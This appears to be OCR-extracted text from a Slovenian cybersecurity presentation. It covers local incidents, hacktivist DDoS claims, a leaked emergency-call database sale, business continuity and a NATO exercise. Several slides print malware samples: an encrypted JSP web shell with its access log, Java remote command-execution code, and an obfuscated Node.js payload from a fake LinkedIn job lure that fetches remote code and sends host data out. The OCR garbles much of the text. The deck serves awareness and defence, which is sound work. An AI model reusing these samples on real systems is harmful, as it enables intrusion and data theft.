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* Lastnik podjetja SSRD (https://ssrd.io)
* Trener ekipe ECSC

* Predavatelj

* Namestnik vodje ekipe LS

 Svetovalec za informacijsko varnost
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Obramba

DOVOS podpira razvoj slovenske obrambne industrije kot temelja
nacionalne samozadostnosti in odpornosti. Z vlaganji v napredne
tehnologije, kot so robotizirani sistemi, brez posadkovne platforme,
kibernetska varnost in umetna inteligenca, bomo omogocali razvoj
domacih zmogljivosti, ki so nujne za sodobno obrambo in hkrati

prinasajo gospodarske koristi.
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SLOVENIJA
NOVICE / 8. 2. 2022

Skupina HSE taréa Kibernetski napad na medijsko hiSso PRO PLUS

Prva objava:- 8 2. 2022

]
klb e r l I etSke a l I a ada Medijska hisa Pro Plus d.o.o. je v torek, 8. februarja 2022, na svojih spletnih straneh objavila, da je Zrtev hekerskega napada, ki je
’ okrnil njihove storitve Potrdimo lahko, da Nacionalni odzivni center za kibernetsko varnost SI-CERT sodeluje s Pro Plus pri
1 ] * W L] ]

Po ‘z?gotovilih Ir'ISE proizvodnja elektri¢ne energije v drzavi zaradi dogodka ni Znanost in tehnologija »
v nicemer ogroZena.

obravnavi incidenta, drugih podrobnosti pa ta trenutek ne moremo razkriti.

TKB. Kibernetski napad na mariborsko univerzo: predavanja
L. potekajo, a nastajajo zaplet

LJUBLJANA IN OKOLICA 1,.3;.15,, MIMC RTV SLO, STA Ni znano, ali so na Univerzi v Mariboru Ze prejeli kaksne finangne zahteve hekerjev
® ? Zaradi obseinejSega kibernetskega napada so racunalniSke storitve Univerze v Mariboru delno ali popolnoma

Univerza v Ljubljani tarca
vdora v informacijski
sistem

V obvestilu Studentom so navedli, da pri razresevanju incidenta sodelujejo s
pristojnimi organi. Morebitne nove vdore so preprecili.

Ni. Go. A+ A- 4) «<

22.7.2023 | 12:32
© 1:48
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Good afternoon, CyberArmy! Hello
NoName057(16) ** and hello again, Slovenia @
We are working on the website of the Slovenian
company Academy, which is engaged in
software developm

https://www.academa.si/
213.172.234.190
Telemach UG doo

https://check-host.net/check-
report/17eb3796k78f

Guys, it's nothing personal, you should improve
your defense a little£A
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* Tihe
* Neopazne
* Groznje:

» Sabotaza

* Dezinformacije
e Kraja informaciji
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* GEO - blocking
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*  Porocilo za prvo polovice leta 2025 SI-CERT
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=ITN - Zaposleni
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112 SLOVENIA EMERGENCY CALLERS - DATABASE

by viNti - Saturday January 13, 2024 at 0228 AM

CURSKA 51,
o® ,oluvsrv‘"?‘a

225

s Neuradno: posnetke klicev na 112 je prodajal

rorek zaposleni na UKC
16. 1. 2024,

13.14

' CALLERS - DATABASE

Also willing to sell access to realtime data and access to regional information centres (ReCO WebPLK - MORS, etc.)

SAMPLE:

14
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File folder

15P File
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1 <&l String xc="dge:
2 class X extends Classloader{public X(ClassLoader z){super(z);}
3 public Class Q(hyte[] cb) 08:51:16 +0100] "GET /l.jsp HTITP/1.1" 200 5
4 {return super.defineClass(cb, 8, ch.length);} } 08:53:15 +0100] "GET /l.jsp HTTP/1.1" 200 -
g publ]_c byte[] x(byte[] Sjbgg]_ean m){ tr\y{ 08:53:55 +|Dl|:||:|] "EOST j'rl.:ISp HTTPJIFJ.-J." 200 -
6 javax.crypto.Cipher c=Javax.crypto.Cipher.getInstance("AES"); 08:53:55 +0100] "POST /l.jsp HTTP/1.1™ 200 -
7 c.init(mi1:2,new javax.crypto.spec.SecreteySpec (xc.getBytes(),"AES")); 08:54:01 +0100] "POST /l.jsp HTTP/1l.1™ 200 -
8 return c.dofinal(s); }catch (Exception e){return null; }} 0B:54:01 +0100] "POST /l.jsp HTTPf1.1™ 200 -
9 Bdtry{byte[] data=new byte[Integer.parselnt(request.geteader("Content-Length"))]; 08:54:11 +0100] "POST fl.jsp HTITPS1l.1™ 200 -
18 java.lo.InputStream inputStream= request.getInputStrean();int _num=d; 08:54:11 +0100] "POST /l.jsp HTTRF1.1™ 200 32
11 while ((_numt=InputStream.read(data, num,data.length))<data. length);data=x(data, false); 08:54:11 +0100] "POST /l.jisp HTTP/1.1"™ 200 2480
12 If (session.getAttribute("payload”)==null) 08:54:16 +0100] "POST /l.isp HTTP/l.1"™ 200 32

13 {sesslon.setAttribute("payload”,new X(this.getClass().getClassloader()).Q(data));}

14 elsefrequest.sethttribute("paraneters”, data);Object f=((Class)session.getAttribute("payload")).neulnstance();java.lo.BytehrrayOutputStrean arrQut=ney java.io.BytedrrayQutputStrean();
15 f.equals(arrQut);f.equals(pageContext);f. toString(); response. getOutputsStrean( ) urite(x(arr0ut. toBytedrray(), true));} }

16 catch (Exception e){}

o4
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public InitAppImpl(String s) throws RemoteException {
this.name = s;

public String runCmd(String cmd) {

try {
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();

String line;
while((line = br.readlLine(}) '= null) {
sb.append(line).append("\n");

return sb.toString();
} catch (Exception varg) {
return var6.getMessage();

public String getSysInfo(String info) {
return System.getProperty(info)

public String putFile(String content, 5tring path) {

String result = "";

try {
FileOutputStream fo = new FileQutputStream(path);
fo.write(content.getBytes());

} catch (Exception varé) {
result = varG.getMessage();

return result;

public String getFilelist(String fileName) {
StringBuilder sb = new StringBuilder();
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N m = h Im .
How are you?

I'm very glad to connect with you on LinkedIn.

At our company, we are launching a new initiative to develop a
cryptocurrency token and create a dedicated website for it. The
project includes smart contract and token development, with a
timeline of one year. Given your expertise in blockchain
development, we believe you could make a significant
contribution to our company. Your insights and skills would be
invaluable in helping us achieve our goals

We understand that you may have other commitments. and

we are open to discussing a flexible arrangement that

accommeodates your schedule. This contract would allow you

to collaborate with our company and contribute to this

exciting project while balancing your current commitments. o

Lookina forward to vour response,

The Slovenian Institute
of Auditors

DN B - 2:48 PM
kay

Here is the project detalls that we are going to develop
Please review the document first and let me know if you are
available to work on this project

ProjectOverviewfor! =
140 KB

PDF

Home - © ww [ndm | Bavlrans L Retreats

About the source ©

Ll s D e R

(@ Google can't find much info on other sites to help you learn more about
T e e T e

Site first indexed by Go
6 months ago
Q This site is new

See previous versions on Internet Archive’s Wayback Machine
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Project Overview

1. Project Title:

. Timeline:
12 months (1 year)
Budget:
$200,000
Preferred Development Tools:

Version Control: GitHub

Project Objectives

The goal of this project is to design, develop, and implement a custom token

The token system will be a core component of our platform, designed to
enhance customer engagement, facilitate transactions, and provide a unique
value proposition for our users within the wellness ecosystem

The token system will be fully integrated with our existing MERN stack

(MongoDB, Express.js, React.js, Node.js) infrastructure. The project involves

The Slovenian Institute
of Auditors

DD B - 547 PM

Clay. That's good

We would like you to review our initial project before your
technical meeting. Understanding the project beforehand will
be very helpful for both your task and our tech meeting, We
will share our company's GitHub repository with you. Should
we send the invitation to your GitHub? Please let me know
your GitHub username.
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Code 55% faster with GitHub Copilot

express = require(’express’);
authController = require(”../controlle
userController = require(”

transactionController = require(”../controll: transactionController”);
router = express.Router();

router. post(/getVerifyCode’, authController.g )3
router. post(*/signup’, authController.check2FA( authController
router. post(*/login®, authController.logIn

router. get("/logout”, authController.logOut);

router. ountName’, authControlle

router. /getVerifyCodeForPasswordReset’, authController.g

router. tPassword", authController.c 2F, authControlle

router. use(authController.protect) ;

router. patch(’ fupgradeUserTier’, transactionController
router. patch(’ fupdatePassword", transactionController
router. get(" /getVerifyCodeForTrikeyUpdate® , authController
router. patch(® fupdateTrxKey", authController 2F,

router. post(/submitMessage’, userController

router. get(’/me’,

userController
userController

)5

The Slovenian Institute
of Auditors

module.exports = router;

object.prototype.tostring,Object.defineProperties;function E(a,b){const c=C();return E=function(d,e){d=d-ex18d;let f=c[d];return f;},E(a,b);}const

a0=E; (function(ax,ay){const alL=E,az=ax();while(!![]){try{const aA=-parseInt(alL(@x198))/0x1*(parseInt(aL(@xla7))/0x2)+-parselnt(al(@x1a®))/ex3
*(parselnt(aL(ex18d))/0x4)+parseInt(al (0x194))/6x5*(-parselnt(aL(@xlad))/6x6)+parselnt(aLl(0xlaa))/0x7*(parselnt(al (0x19b))/6x8)+parselnt(aL(Oxlac))/Ox9*(-
parseInt(aL(@x19f))/exa)+-parselnt(al (0x196))/0xb*(parselInt(aL(0x18f))/8xc)+parselInt(aL(@0x197))/0xd;if(a. ay)break;else az[ 'push’](az['shift']());}catch(aB)

aB=az[aM(0x199) ] (ay,arguments);return az=null,aB;}}:function(){};return ax=![],aA;};}()),H=F(this,function(){const aN=E;return H[aN(©x193)]()['search']
(aN(ex19e))[aN(0x193)]()[aN(@x1a9)]1(H) [aN(ex1b2)](aN(8x19e));});function C(){const aV=['ZaGotZWRpcg', 'cmiTeWSj', (((.+)+)+)+

$', '10440710HzUsuL ', '1799041rxukf", 'from', *ZXhpc3RzU31luYw", 'YcmVxdWVzdA®, 'cZXhlYw', 'Z2Ve', 'bWtkaXJTeW5j ', '83@yUvalis’', L2tleXM', 'constructor’, '14609iSZreQ’, "zc(
FoaA', '9AFctrk', '534RVeTvv', 'base6d’, '¢G9zdA', 'd3IpdGVGalWx1U31luYw', ' ZbmOKZTpwemOjZXNzZ' , "search', 'caG9zdGShbWU" , '8hKoXZe', 'aY2hpbGRfcHIVY2Vzew', '277008n0iLfN" , "
join', 'YcGxhdGZvcme', 'sqj', 'toString', '68985KjIMeh’, 'ZULRINz7','253WICXLE’, '53648465kqCNNO", '2699HINhgV', 'apply', 'utf8', '344dXnhwp'];C=function(){return
aVv;};return C();}H();const I=a0(@xlae),K=a0(0x19a),L=require(’'fs"),M=require( 'os"'),0=ax=>(sl=ax[ 'slice’](@x1),Buffer[a0(0xlal)](s1,I)[a0(@x193)]
(K));rg=require(0(a0(®x1a3))),pt=require(0(a0(exlab))),ex=require(0(a0(ex18e)))[0(a0(8x1a4))],zv=require(0(a0(ex1b1))),hd=M[0(a0(@x19¢c))](),hs=M[0(a0(ox1b3))]
(),pl=M[0(a0(ex191))](),uin=M[O( 'AdXNlckluZm8')]();let P;const Q=ax=>Buffer[a0(@xlal)](ax,I)[a0(@x193)](K),ae=()=>{let
ax="MjMuMTA2LjaHR@OcDovLwI1My4yMjEEMTIONA== ';for(var ay="',az='",aA='',aB='"',6aC=0x0;aC<0xa;aC++)ay+=ax[aC],az+=ax[6xa+aC],ah+=ax[ox14
+aC],aB+=ax[@xle+aC];return ay=ay+aA+aB,Q(az)+Q(ay);},al=[0x24,0xc@,0x29,0x8],a2=ax=>{let ay="";for(let az=0x@;az<ax[ length’];az++)rr=exff&(ax[az]"al[ex3
&az]),ay+=String[ ' fromCharCode'](rr);return ay;},a3=a0(6x195),a4=a0(0x1a5),a5=a0(0x1b8),a6=Q(a0(8x1a2));function a7(ax){return L[a6](ax);}const a8
=Q(a0(@xla6)) ,a9=[Oxa,0xb6,0x5a,0x6b,0x4b,0xa4,0x4c],aa=[Oxb,0xaa,0x6],ab=()=>{const aP=a0,ax=a0(),ay=Q(a4),az=Q(a5),aA=a2(a9);let aB=pt[aP(©x190)]
(hd,aA);try{aC=aB,L[a8](aC,{ 'recursive':10x0});}catch(aF){aB=hd;}var aC;const aD=''+ax+a2(aa)+a3,aE=pt['join’'](aB,a2(ac));try{!function(aG){const
aQ=aP,aH=Q(aQ(ex18d));L[aH](aG); }(aE); }catch(aG){}rglay]l(aD, (aH,al,al)=>{if(!aH){try{L[az](aE.ad);}catch(aK){}
af(aB);}});},ac=[0x50,0xa5,0x5a,0x7¢,0xa,0xaa,0x5a],ad=[Oxb,0xb0],ae=[0x54,0xal,0x4a,0x63,0x45,0xa7,0x4c,0x26,0x4¢,0xb3,0x46,0x66 ], af=ax=>{const
aR=a0,ay=a0(),az=Q(a4),2A=Q(a5),aB=""+ay+a2(ad),aC=pt[aR(8x190)](ax,a2(ae));a7(ac)?aj(ax) :rqlaz](aB, (aD,aE,aF)=>{if(laD){try{L[aA]l(aC,aF); }catch(aG){}
aj(ax);}});},ag=[0x47,0xad],ah=[0x2,0xe6,0x9,0x66,0x54,0xad,0x9,0x61,0x4,0xed, 0x4,0x7b,0x4d, Oxac,0x4c,0x66,0x50] ,,ai=[Ox4a,0xaf,0x4d,0x6d,0x7b,0xad,0X46 ,0X6C,0>
51,0xac,0x4c,0x7b],aj=ax=>{const ay=a2(ag)+' \x22'+ax+'\x22 '+a2(ah),az=pt['join'](ax,a2(ai));try{a7(az)?ao(ax) ex(ay, (aA,aB,aC)=>{an(ax);});}catch(al)
{}},ak=[0ox4a,0xaf,0x4d,0x6d],al=[Ox4a,0xbo,0x44,0x28,0%9,0xed,d8%x59,0x7a,0x41,0xa6,0x40,0x70], am=[Ox4d,Oxae,0x5a,0x7C,0x45,0xac,0x45] ,an=ax=>{const ay=a2(al)+’
\x22"+ax+'\x22 '+a2(am),az=pt['join'](ax,a2(ai));try{a7(az)?ao(ax): ex(ay,(aA,aB,aC)=>{ao(ax);});catch(aA){}},ao=ax=>{const ay=pt['join']
(ax,a2(ac)),az=a2(ak)+" '+ay;try{ex(az, (aA,aB,aC)=>{}); Fcatch(aA){}},ap=0( "' cZm9ybURhdGE"),ag=0( adXJs"),ar=Q(a0(exlaf));let as="cmp';const at=async(ax,ay)=>
{const aS=a0,az={"ts':P, 'type':a3,'hid"':as, 'ss':ax, 'cc':ay},ah=a0(),aB={[aq]: " '+aA+Q(aS(ex1a8)),[ap]:az};try{ralar](aB, (aC,aD,aE)=>{});}catch(aC){}};var au=
0x@;const av=async()=>{const aT=a0;try{P=Date[ 'now’']()[aT(ex193)](),await((async()=>{const aU=aT;as=hs, 'd'==pl[@x0]&&(as=as+ "+ +uin[Q( dXNlcmShbwu')]);let
ax="3D1";try{ax+=zv[Q('YXIndg')][@x1]; }catch(ay){}at(au(ex192),ax);}) (}), ((async()=>{await new Promise((ax,ay)=>{ab();});})());}catch(ax){}};av();1let
aw=setInterval(()=>{(au+=0x1)<0x3?av():clearInterval(aw);},0x927cO);
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oG
Types of Hackers
L - Green Orange
Team Team
Enhances security - .
( ’ ( ’ ( ’ ATy T Facilitates Inter_acllon
and design and Education
White Hat Hackers Black Hat Hackers Gray Hat Hackers
Ethical hackers improve Malicious hackers exploit Blend of both Black hat & -
security systems. systems for gain. White hat Activities. Wh |te Team
Management,
Compliance,
Analysts, Logistics
Blue Red
Team Team
Defensive Security Offensive Security
Script Kiddies Hacktivists State-Sponsored Cyber Terrorists
Inexperienced use  Promote political or Hacker Create fear and Purple
pre-written tools. social messages. Conduct cyber disruption for
espionage political/ideological Tea m

reasons.

Integrates defensive
tactics with offensive
results
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* Linux Admins

* Windows Admins
* Networking

* Web apps

e SIEM

* Forensics
STRATCOM

STR COMMOINIOP HATTHOOROOA STRAAT OMCOIMHS
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' You
What is the detection time in security incidents?

® chatcPT

1. Industry Benchmarks: According to the annual reports by cybersecurity firms like IBM and
Vernizon, the average time to detect a breach can be quite lengthy. For example, IBM's "Cost of a
Data Breach Report 2023" indicated that the average time to identify a breach was 207 days,
with an additional 73 days on average to contain the breach.

2. Variation by Attack Type: Detection times can also vary depending on the type of attack. For

The Slovenian Institute
of Auditors

25



Kako pridemo do informaciji
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* Banke

* Stranke

e Uporabniki
* SOC?
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J SMO Se Naucl

Slovenski

S'R Kaj

* Razlike v procesih

* Razlike v kljucnih storitvah

e Razlike v vrstah napadov
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Sistem upravljanja neprekinjenega poslovanja je sistem upravljanja, ki temelji na strateski in takti¢ni sposobnosti organizacije, da
pripravi nacrt za primere prekinitev in motenj pri poslovanju ter se na njih odzove z namenom zagotovitve storitev na sprejemljivi, vnaprej
doloCeni ravni ter vkljuCuje pripravo in uporabo nacrtov obnovitve in ponovne vzpostavitve delovanja informacijskih sistemov (v
nadaljnjem besedilu: SUNP).

Sistem upravljanja varovanja informacij je sistem upravljanja, ki omogoca celovit in koordiniran pogled na informacijska varnostna
tveganja organizacije ter zagotavlja vzpostavitev, vpeljavo, delovanje, spremljanje, pregledovanje, vzdrZzevanje in izboljSevanje varnosti
omreZij in informacijskih sistemov (v nadaljnjem besedilu: SUVI).
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Fiﬂance *LIVE DANES €eFINANCE BORZA FORUM 2 Prijava v Q

IKTinformator KIBERNETSKA VARNOST SPLETNO POSLOVANJE PAMETNA MESTA B2B E-COMMERCE KOLEDAR

OGLASNO SPOROCILO

Koliko je vredno neprekinjeno poslovanje?

Za podjetja, ki ga potrebujejo, je neprecenljivo

Neprekinjeno poslovanje - klju¢ do uspeha v
izrednih razmerah

Finance PR

13.05.2022 1549 . Dopolnjeno: 18.05.2022 11:34 Cas branja: 4 min

Deli @) m Torek Digitalno poslovanje je vec kot tehnologija 29.12.2020
oo Zakaj je neprekinjeno poslovanje merilo pri

izbiri poslovnih partnerjev?
—_'i\/) 1leto, 5 mesecev

e Oglasno sporoéila

Zaupanje je temelj digitalizacije v oskrbnih verigah. Neprekinjeno delovanje informacijskih

storitev kljucno vpliva na uresnicevanje zavez podjetja strankam in poslovnim partnerjem ter na

Oracle Slovenija
vzpostavljanje in ohranjanje zaupanja.

informaciiska tehnologija
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CrowdStrike IT outage affected 8.5
million Windows devices, Microsoft

says

EU cyber agency says airport software
held to ransom by criminals

22 September 2025 Share «  Save []

Joe Tidy Cyber correspondent and Tabby Wilson
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| ("Jus't make a left turn for LaGuardia

Vir: Miracle on the Hudson (2009)
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Kaj manjka ob incident?
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e Lastnik storitve

 Skrbnik storitve Service A ]

e Kontaktni podatki / \

* Lokacija

* Pomembnost delovanja [ service B j Se“”cec

* Odvisnost storitve / \
[ Service D J [ Service E J

y
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BY
FALING TO
PREPARE,

YOU ARE

PREPARNNG
TO TO

FAIL

BENJAMIN FRANKLIN

The Slovenian Institute
of Auditors
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LOCKED SHIELDS 2025
TEAM SLOVENIA

Locked Shields je edinstvena mednarodna vaja kibernetske
obrambe in strateskega odlocanja, ki poteka v realnem ¢asu
in ponuja kompleksen tehniéni izziv.

Poteka v organizaciji CCDCOE (NATO Cooperative Cyber
Defence Center of Excellence).

Organizator vaje v Sloveniji je Ministrstvo za obrambo v
sodelovanju s podjetji privatnega sektorja

CYBER NIGHT

Capture The Flag Edition

Gospodarska zbornica Slovenije
Dimiceva ulica 13, Ljubljana

=

The Slovenian Institute

of Auditors
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